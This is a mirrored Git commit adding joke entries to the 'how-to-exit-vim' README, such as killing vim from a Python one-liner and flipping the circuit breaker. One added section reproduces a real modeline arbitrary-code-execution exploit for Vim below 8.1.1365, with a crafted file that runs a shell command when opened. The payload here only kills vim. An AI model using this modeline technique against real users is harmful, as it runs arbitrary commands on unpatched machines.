mirror of
https://github.com/hakluke/how-to-exit-vim.git
synced 2025-04-30 18:57:18 +02:00
Merge branch 'master' into master
This commit is contained in:
commit
2378536c74
1 changed files with 41 additions and 1 deletions
40
README.md
40
README.md
|
@ -33,6 +33,13 @@ Credit: @kpumuk
|
|||
:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9
|
||||
```
|
||||
|
||||
## The lazy pythonic using shell way
|
||||
Credit: @PozziSan
|
||||
|
||||
```bash
|
||||
python -c "from os import system; system('killall -9 vim')"
|
||||
````
|
||||
|
||||
## The pythonic way
|
||||
Credit: @hakluke
|
||||
|
||||
|
@ -646,3 +653,36 @@ Credit: @ccw630
|
|||
```vim
|
||||
:!$SHELL
|
||||
```
|
||||
|
||||
## The Arbitrary Code Execution Way
|
||||
|
||||
Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.
|
||||
|
||||
1. Create a file (say `quit.txt`) with the following data:
|
||||
```
|
||||
echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt
|
||||
```
|
||||
2. Ensure that the modeline option has not been disabled.
|
||||
```
|
||||
echo "set modeline" >> .vimrc
|
||||
```
|
||||
3. Open `quit.txt`.
|
||||
```
|
||||
:e! quit.txt
|
||||
```
|
||||
|
||||
## The Circuit Breaker Way
|
||||
Credit:@Tomcat-42
|
||||
|
||||
1. Smoothly leave your computer
|
||||
2. Find the nearest electrical circuit breaker panel
|
||||
3. Switch off and on the main breaker
|
||||
4. Return to your computer
|
||||
5. Your computer should no longer be running vim
|
||||
|
||||
**Note:** This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.
|
||||
|
||||
## The Permanent Way
|
||||
Credit: @jofftiquez
|
||||
|
||||
***Quit software engineering for good.***
|
||||
|
|
Loading…
Add table
Reference in a new issue